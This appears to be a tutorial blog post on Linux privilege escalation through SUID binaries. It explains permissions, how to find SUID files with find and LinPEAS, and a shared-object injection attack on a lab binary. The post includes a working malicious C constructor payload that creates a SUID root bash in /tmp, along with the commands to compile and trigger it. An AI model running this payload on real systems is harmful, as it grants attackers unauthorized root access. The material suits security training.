Linux PrivEsc(3)-Exploiting SUID Binaries
This will be the last of the Linux Privilege Escalation series, you can read the first of it which is about Kernel Exploits and the second which is about Scheduled Tasks, we’re going to cover the following main topics:
• Introduction to filesystem permissions on Linux
• Searching for SUID binaries
• Escalation via shared object injection
Intro To File System Permissions on Linux
On Linux, access to files and directories is controlled by filesystem permissions. As a result, certain files and directories are protected from unwanted access. The permissions of a certain file (binary) are crucial since they lay the foundation for our escalation through SUIDs.
On Linux, you can list the permissions of files and directories by using command:
ls -al- ls = command to list contents of your current directory
- -a = show hidden files and directories
- -l = long list detailing permissions, ownership, dates of files and directories.
(-al is just a combination of -a and -l)
Due to Linux’s support for many users, access to files and directories is limited based on these two criteria.:
• Ownership — refers to the particular individual or group who is the file’s owner.
• Access Permission —specific permissions that are used to limit or provide access to particular files.
Ownership
In case of ownership, Linux divides ownership into three main categories:
• User: The owner of the file. The creator of the file becomes the owner.
• Group: Members of the group have read, write, execute permissions on the file based on the permissions specified.
• Other: Gives read, write, execute permissions to users on the system who are neither owners nor members of a group.
The image below depicts how Linux categorizes file ownership and how permissions are used to control the level of access the file’s owner, group, or other users have to it:
Access Permissions
Every file has access permissions assigned to it which determines whether the file can be read, modified or executed. They are categorized into:
• Read — this permission permit users to Read a file. Denoted by letter r.
• Write — allows users to modify or make changes to a file denoted by w.
• Execute — allows users to execute or run a file. Denoted by x.
Here, owner of the file has read, write, execute permissions while the the group members have read and executable permissions only (without Write permissions) and other users who are neither owners nor members of a group have read and executable permissions only too (without writable permissions).
Changing Permissions
We use the chmod command to change the permissions of a file. Various parameters are added to the chmod command for adding, modifying and removing permissions to a file. Below is a table of the params that can be added.
Examples.
To give executable permissions to a file(script.sh), use command:
chmod +x script.shRemove executable permissions, use:
chmod -x script.shTo give executable permissions to all users, use command:
chmod u+x script.shYou can give multiple permissions (separated by commas) in one line. Use command:
chmod g+x, a+w script.shThe above command gives group members executable permissions and also gives all users and groups write permissions.
SUID permissions
Linux offers its users specialized permissions that can be used in particular circumstances in addition to the Read, Write and Execute permissions. The Set Owner User Identification is one of them (SUID). Instead of the user running a binary or script, this permission enables users to do so under the original owner’s control.
This permission allows unprivileged users to execute root files with root permissions. In contrast to full privilege escalation on the system, the grant of elevated privileges is restricted to the file being executed. However, unprivileged users may utilize the aforementioned file (binary or script) to elevate their privileges on the system if it is not configured correctly or contains vulnerable code.
To identify a file with SUID permissions, use ls -al to list the details of a file. If applied to a file, the execute permission (denoted by an x) would be replaced with the SUID permission (denoted by an s) as shown in the image below:
As shown above, the owner of the file has SUID permissions applied, the group members have read and executable permissions only and the users who are neither owners nor group members also have read and executable permissions only.
Our attempt to exploit this functionality will depend on:
• Owner of the SUID — We shall only use SUIDs owned by root users or other privileged users since we are aiming to boost our rights.
• Access permissions — We will require executable permissions to execute the SUID binary.
Searching for SUID binaries
The search for SUID binaries can be done both manually and automatically. In case you’re in an environment which doesn’t permit the use of automated tools, I’m going to demonstrate both.
Manual SUID binaries search
We will utilize the find utility to locate all SUID binaries on the target system. Use the command:
find / -type f -perm -u=s -ls 2>/dev/null
Now that we know the SUID binaries, we now have to choose the exact binary to exploit. Before I do that, let’s take a look at the automatic way of searching for SUIDs.
Automatic SUID binaries search
We can automate the process of identifying SUID binaries by utilizing the LinPEAS script. This script scans and enumerates potential vulnerbilities and also other important system information.
From your attack box, serve the linPEAS script on a simple python web server:
On the target, move into the /tmp directory since we have general read and write in that directory. Use the wget utility on the target system to download the LinPEAS script served.
Before running the linpeas script, we first give it executable permissions. Use chmod +x linpeas.sh
Now run it to enumerate privilege escalation vectors.
From the results, we can see it’s the same as when we did the manual search.
Identifying Vulnerable SUID binaries
Manually identifying a vulnerable SUID binary to exploit may differ from system system. However, this can be simplified by making use of the GTFOBins resource.
GTFOBins is a list of curated Unix binaries that can be exploited to bypass major security restrictions and hence elevate privileges in our situation.
Access this resource from their site: https://gtfobins.github.io/
We can use the list of vulnerable SUID binaries there to match the SUID binaries discovered on our target system. On the site, there are payloads that come with these SUIDs and all you need to do is to run them in your target’s terminal and you have yourself a root shell.
Escalation Via Object Injection
In addition to locating SUID binaries, LinPEAS also performs an additional vulnerability check on the binaries to determine whether they can be exploited or not. After analyzing the linpeas results closely, we found that it checks the binaries with strace utility to identify the shared objects and libraries utilized by the binaries.
Strace is a Linux utility used to monitor and debug applications and processes and their interaction with the Linux kernel.
Linpeas runs strace on each SUID binary to identify their shared libraries listing their respective locations.
As highlighted above, we can identify suid-so binary that utilize many shared objects that do not exist on the target system. One interesting file there is the libcalc.so which exists at the user’s home directory. Since we are logged on as the user, we should be able to modify this shared object in hopes of executing arbitrary commands. This should give us an elevated session when suid-so is executed.
NB: Linux Shared Objects is equivalent to Windows Dynamic Link Library (DLL) and this attack is similar to Windows DLL Hijacking technique where we replaced a the target DLL with a modified one that returns us an elevated session upon execution.
Alternatively, you can manually search for the shared objects of a specific binary with command:
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
We can also utilize strings to display a list of useful strings found in the binary.
strings /usr/local/bin/suid-so
Running suid-so showed nothing but an information that says it’s performing a calculation and then a progress bar.
Cross checking the libcalc.so directory on the user’s home directory showed that, the .config directory doesn’t even exist.
We will take advantage of this to create the .config directory with command:
mkdir /home/user/.configOnce the directory is created, we need to create the libcalc.c file. Use command:
touch /home/user/.config/libcalc.c
The next step is adding our custom C code (but ours would be a payload) into the libcalc.c file we created.
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}You can choose to use a C code that sends a reverse root shell to your netcat listener. There are many online you can google.
But mine would be different — cos I’m built different
This C code would call unto the inject function which runs a system command that copies the bash binary(owned by root) into /tmp. Then it assigns the SUID permission to the binary in the /tmp directory and then execute it from the /tmp directory.
Now we compile the libcalc.c file into a shared object with the GNU C Compiler (GCC) by running:
gcc -fPIC -shared /home/user/.config/libcalc.c -o /home/user/.config/libcalc.so
We used the fPIC flag which ensures the code in our shared library is position-independent and can be loaded by any address in memory.
To execute the code in libcalc.so, let’s execute the suid-so binary.
We have successfully elevated our privileges by exploiting an improperly configured SUID binary which utilized a shared object library which was located in an unprivileged user’s home directory.
I got most of the knowledge to make this post by purchasing and reading Hackersploit’s Privilege Escalation Techniques book. You can purchase it from his website or by clicking here. If you have any questions you can DM me on Twitter @tinopreter.
